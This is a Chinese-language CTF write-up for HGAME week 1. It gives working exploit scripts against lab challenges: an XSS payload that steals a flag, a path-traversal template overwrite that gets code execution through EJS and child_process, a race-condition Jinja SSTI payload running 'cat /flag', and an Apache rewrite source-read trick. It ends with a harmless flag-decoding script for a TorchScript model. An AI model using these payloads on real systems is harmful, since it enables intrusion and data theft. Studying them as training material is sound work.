Hgamectf-week1
web
Level 24 Pacman
收集一万枚金币,前端小游戏
套了一个base64和一个栅栏加密
hgame{u_4re_pacman_m4ster}
Level 69 MysteryMessageBoard
弱密码登录
func flagHandler(c *gin.Context) {
log.Println("Handling flag request")
session, err := store.Get(c.Request, "session")
if err != nil {
c.String(http.StatusInternalServerError, "无法获取会话")
return
}
username, ok := session.Values["username"].(string)
if !ok || username != "admin" {
c.String(http.StatusForbidden, "只有admin才可以访问哦")
return
}
log.Println("Admin accessed the flag")
c.String(http.StatusOK, flag)
}
func main() {
r := gin.Default()
r.GET("/login", loginHandler)
r.POST("/login", loginHandler)
r.GET("/logout", logoutHandler)
r.GET("/", indexHandler)
r.GET("/admin", adminHandler)
r.GET("/flag", flagHandler)
log.Println("Server started at :8888")
log.Fatal(r.Run(":8888"))
}
通过admin
去/flag
得到后留言
<script>
fetch('/flag').then(response => response.text()).then(flag => {
fetch('/', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'comment=Flag%3A%20' + encodeURIComponent(flag)
});
});
</script>
hgame{W0w_y0u_5r4_9o0d_4t_xss}
Level 47 BandBomb
分析:
可知是有4个路由,分别负责主页面,上传,改名,文件显示
app.use('/static', express.static(path.join(__dirname, 'public')));
可知在app/public
下的文件可以从/static
路由访问
有文件上传喝改名,考虑跨路径移动,实际确实可以移动到public
下然后读取,但是不知道flag
的路径
换个思路开始本次的主题
app.set('view engine', 'ejs');
res.render('mortis', { files: files });
导入了模板,可以猜测其路径在app/views
下
先尝试把../views/mortis.ejs
改到../public/mortis.ejs
然后访问可以看到确实存在
所以可以通过上传mortis.ejs
去替换掉原来的模板实现注入
Object.getOwnPropertyNames(this)
可以列出上下文所有对象,包括那些隐藏起来的
这题我就是直接this
列出没有找到process
之类的对象就以为没有导致卡了很久
<%
const keys = Object.getOwnPropertyNames(this);
for (let key of keys) {
%> <p><strong><%= key %>:</strong> <%= typeof this[key] %></p> <%
}
%>
所以得到下面的Payload
import requests
TARGET = "http://XXXXX:32384"
MALICIOUS_TEMPLATE = """
<%
const keys = Object.getOwnPropertyNames(this);
for (let key of keys) {
%> <p><strong><%= key %>:</strong> <%= typeof this[key] %></p> <%
}
%>
<p>process keys:</p>
<%
if (typeof process !== 'undefined') {
for (let key in process) {
%> <p><%= key %>: <%= typeof process[key] %></p> <%
}
}
%>
<p>process.mainModule keys:</p>
<%
if (typeof process.mainModule !== 'undefined') {
for (let key in process.mainModule) {
%> <p><%= key %>: <%= typeof process.mainModule[key] %></p> <%
}
}
%>
<%- process.mainModule.require("child_process").execSync("env").toString() %>
"""
# 1. 生成模板文件
with open("mortis.ejs", "w") as f:
f.write(MALICIOUS_TEMPLATE)
# 2. 上传文件
file = {"file": open("mortis.ejs", "rb")}
upload_resp = requests.post(f"{TARGET}/upload", files=file)
print("Upload Response:", upload_resp.text)
# 3. 重命名覆盖原始模板
rename_data = {
"oldName": "mortis.ejs",
"newName": "../views/mortis.ejs",
}
rename_resp = requests.post(f"{TARGET}/rename", json=rename_data)
print("Rename Response:", rename_resp.text)
exploit_resp = requests.get(TARGET)
print("Exploit Response:", exploit_resp.text)
Level 38475 ⻆落
确认环境
爆一下发现配置
查找配置关键词找到一个利用rewrite漏洞读到源码的方法,%3F
可以截断后面读取
https://blog.orange.tw/posts/2024-08-confusion-attacks-ch/
/admin/usr/local/apache2/app/app.py%3f
加上user-agent=L1nk/
@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'
访问到源码后可以看见有render_template_string()
函数,但是前面有一个过滤{
的if
readmsg()
是动态的
这种if
可以通过条件竞争来时间突破
import requests
import threading
url = 'http://node1.hgame.vidar.club:32737/'
data = {
"messgae": "",
}
def write_msg(i):
data["message"] = "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}" + str(i)
r = requests.post(url + '/app/send', data=data)
def read_msg(i):
r = requests.get(url + '/app/read')
print(i, "read", r.text)
if "Latest" in r.text:
print(r.text)
exit()
threads = []
for i in range(10):
thread = threading.Thread(target=write_msg, args=(i,))
threads.append(thread)
thread.start()
thread = threading.Thread(target=read_msg, args=(i,))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
mics
Level 314 线性⾛廊中的双⽣实体
Netron打不开
直接解压看里面的逻辑
class MyModel(Module):
__parameters__ = []
__buffers__ = []
training : bool
_is_full_backward_hook : Optional[bool]
linear1 : __torch__.torch.nn.modules.linear.Linear
security : __torch__.SecurityLayer
relu : __torch__.torch.nn.modules.activation.ReLU
linear2 : __torch__.torch.nn.modules.linear.___torch_mangle_0.Linear
def forward(self: __torch__.MyModel,
x: Tensor) -> Tensor:
linear1 = self.linear1
x0 = (linear1).forward(x, )
security = self.security
x1 = (security).forward(x0, )
relu = self.relu
x2 = (relu).forward(x1, )
linear2 = self.linear2
return (linear2).forward(x2, )
class SecurityLayer(Module):
__parameters__ = []
__buffers__ = []
training : bool
_is_full_backward_hook : Optional[bool]
flag : List[int]
fake_flag : List[int]
def forward(self: __torch__.SecurityLayer,
x: Tensor) -> Tensor:
_0 = torch.allclose(torch.mean(x), torch.tensor(0.31415000000000004), 1.0000000000000001e-05, 0.0001)
if _0:
_1 = annotate(List[str], [])
flag = self.flag
for _2 in range(torch.len(flag)):
b = flag[_2]
_3 = torch.append(_1, torch.chr(torch.__xor__(b, 85)))
decoded = torch.join("", _1)
print("Hidden:", decoded)
else:
pass
if bool(torch.gt(torch.mean(x), 0.5)):
_4 = annotate(List[str], [])
fake_flag = self.fake_flag
for _5 in range(torch.len(fake_flag)):
c = fake_flag[_5]
_6 = torch.append(_4, torch.chr(torch.sub(c, 3)))
decoded0 = torch.join("", _4)
print("Decoy:", decoded0)
else:
pass
return x
可以看到flag是怎么来的
直接加载它并提取 flag
import torch
# 加载模型
model = torch.jit.load('Model.pt')
# 访问 SecurityLayer 模块
security_layer = model.security
# 提取 flag 和 fake_flag
flag_values = security_layer.flag
fake_flag_values = security_layer.fake_flag
# 解码函数
def decode_flag(flag):
return ''.join([chr(b ^ 85) for b in flag])
def decode_fake_flag(fake_flag):
return ''.join([chr(c - 3) for c in fake_flag])
# 解码并输出
hidden_flag = decode_flag(flag_values)
fake_decoy = decode_fake_flag(fake_flag_values)
print("Hidden flag:", hidden_flag)
print("Decoy flag:", fake_decoy)
flag{s0_th1s_1s_r3al_s3cr3t}
Comments NOTHING